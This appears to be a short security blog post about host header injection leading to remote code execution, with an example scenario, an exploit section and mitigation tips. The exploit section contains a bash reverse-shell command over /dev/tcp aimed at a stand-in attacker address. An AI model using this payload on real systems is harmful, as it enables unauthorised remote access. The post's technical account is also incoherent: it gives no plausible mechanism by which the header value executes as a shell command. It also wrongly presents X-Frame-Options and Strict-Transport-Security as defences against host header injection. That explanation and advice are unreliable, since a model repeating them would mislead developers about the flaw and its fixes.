Host Header injection to RCE

Aditya Chauhan
2 min readFeb 16, 2023

--

In this blog, we will provide a practical example of how host header injection can lead to RCE on a target system. This example will help illustrate how this vulnerability can be exploited by attackers and how web developers can take steps to prevent it.

The Example

Suppose there is a web application that allows users to specify a custom domain name in the host header of an HTTP request. The application is designed to retrieve a list of resources for the specified domain name and return it to the user.

To demonstrate how this application is vulnerable to host header injection, let’s consider the following scenario:

  1. The user visits the application and enters the following domain name in the host header input: example.com%0D%0AHost: attacker.com
  2. The user submits the request, and the application sends an HTTP request to the following URL: http://example.com%0D%0AHost: attacker.com/resources
  3. The web server processes the request and returns a list of resources for the attacker.com domain, which is not intended by the application.
  4. The attacker can take advantage of this vulnerability to inject malicious code into the host header and execute arbitrary code on the target system.

Exploiting the Vulnerability

To exploit the host header injection vulnerability, the attacker can inject a shell command into the host header, as follows:

example.com%0D%0AHost: attacker.com;echo $(/bin/bash -i >& /dev/tcp/attackerip/4444 0>&1)

In this example, the attacker injects a reverse shell command into the host header, which will connect back to the attacker’s system on port 4444. When the web server processes the request, it executes the shell command as a command, which will establish a reverse shell connection with the attacker’s system. The attacker can then use this shell to execute arbitrary commands on the target system.

Mitigating the Vulnerability

To prevent host header injection vulnerabilities, web developers can take the following steps:

  1. Proper Input Validation: Developers should validate all user input, including the host header input, to ensure that it conforms to expected patterns and formats. In this case, the application should check that the host header input only contains valid characters.
  2. Implementing Whitelisting: Developers should implement a whitelist of allowed domain names in the host header input to prevent malicious input. This will limit the domains that can be requested by the application.
  3. Implementing Security Headers: Developers can implement security headers like the “X-Frame-Options” and “Strict-Transport-Security” headers, which can help prevent host header injection vulnerabilities.
  4. Regular Security Testing: Developers should regularly test their web applications for vulnerabilities, including host header injection. This will help identify and remediate vulnerabilities before they can be exploited by attackers.

In conclusion, host header injection is a serious vulnerability that can lead to RCE on a target system. This practical example demonstrates how this vulnerability can be exploited by attackers and how web developers can take steps to prevent it. By implementing proper input validation, whitelisting, security headers, and regular security testing, web developers can reduce the risk of host header injection vulnerabilities in their applications.

--

--

Aditya Chauhan

ISO 27001 LA | VAPT | Synack Red Teamer | HTB Dante | HTB RASTA | HTB Cybernetics | HTB Offshore | HTB APTLabs | Cyber Security Analyst | Security Researcher